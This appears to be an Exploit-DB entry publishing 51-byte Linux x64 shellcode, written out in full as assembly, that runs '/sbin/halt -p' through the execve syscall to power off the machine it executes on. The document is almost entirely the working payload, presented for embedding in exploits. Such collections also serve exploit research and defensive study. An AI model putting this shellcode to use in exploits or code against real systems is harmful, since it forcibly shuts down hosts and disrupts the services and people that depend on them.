Linux/x64 - /sbin/halt -p Shellcode (51 bytes)

EDB-ID:

49756

Size:

0 bytes


Platform:

Linux

Published:

2021-04-09

# Exploit Title: Linux/x64 - /sbin/halt -p Shellcode (51 bytes)
# Date: 07/04/2020
# Exploit Author: Chenthur Velan
# Version: 0.0.1
# Tested on: Linux Intelx86-64

global _start

_start:
        xor rax, rax
        push rax
        push word 0x702d
        mov rcx, rsp

        push rax
        mov r8, 0x746c61682f2f2f2f
        mov r10, 0x6e6962732f2f2f2f
        push r8
        push r10
        mov rdi, rsp

        push rax
        push rcx
        push rdi
        mov rsi, rsp

        add rax, 59
        syscall